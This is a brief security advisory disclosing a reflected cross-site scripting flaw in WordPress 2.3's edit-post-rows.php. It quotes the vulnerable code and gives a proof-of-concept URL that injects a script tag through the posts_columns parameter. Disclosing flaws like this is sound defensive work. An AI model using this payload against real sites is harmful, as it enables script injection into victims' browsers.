[waraxe-2007-SA#059] - XSS in WordPress 2.3

Target software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability.

To run WordPress your host just needs a couple of things:

PHP version 4.2 or greater MySQL version 4.0 or greater

Vulnerabilities: Cross-Site Scripting (XSS) in "edit-post-rows.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's have a look inside "/wp-admin/edit-post-rows.php":

------------>[source code]<------------ <?php foreach($posts_columns as $column_display_name) { ?> <th scope="col"><?php echo $column_display_name; ?></th> <?php } ?> ------------>[/source code]<-----------

As we can see, array "posts_columns" is uninitialized and if we execute this php script directly, then arbitrary value for that variable can be delivered. This means, that reflective XSS exists here. And of course, "register_globals" must be "on" for this exploit to be successful.

Proof of concept:

http://victim.com/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(123);</script>

//-----> See ya soon and have a nice day ;) <-----//
